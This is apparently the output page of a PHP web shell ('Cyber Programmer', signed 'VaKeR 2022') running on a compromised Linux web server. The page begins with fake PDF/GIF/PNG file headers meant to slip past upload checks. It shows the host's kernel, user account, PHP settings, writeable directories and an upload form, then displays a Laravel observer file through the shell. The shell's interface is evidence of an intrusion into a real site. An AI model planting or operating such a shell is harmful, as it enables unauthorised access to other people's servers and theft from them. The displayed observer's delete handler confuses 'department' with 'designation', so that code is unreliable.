%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/admin1/app/Observers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/admin1/app/Observers/DesignationObserver.php
<?php

namespace App\Observers;

use App\Models\Designation;
use App\Models\LeaveType;

class DesignationObserver
{

    public function creating(Designation $model)
    {
        if (company()) {
            $model->company_id = company()->id;
        }
    }

    public function created(Designation $model)
    {
        if (company()) {
            $leaveTypes = LeaveType::all();

            foreach($leaveTypes as $leaveType){

                if(!is_null($leaveType->designation)){
                    $designation = json_decode($leaveType->designation);
                    array_push($designation, $model->id);
                }
                else{
                    $designation = array($model->id);
                }

                $leaveType->designation = json_encode($designation);
                $leaveType->save();
            }
        }
    }

    public function deleted(Designation $model)
    {
        if (company()) {
            $leaveTypes = LeaveType::all();

            foreach($leaveTypes as $leaveType){

                if(!is_null($leaveType->department)){

                    $designation = json_decode($leaveType->designation);

                    // Search value and delete
                    if(($key = array_search($model->id, $designation)) !== false) {
                        unset($designation[$key]);
                    }

                    $designationValues = array_values($designation);

                    $leaveType->department = json_encode($designationValues);
                    $leaveType->save();
                }

            }
        }
    }

}

VaKeR 2022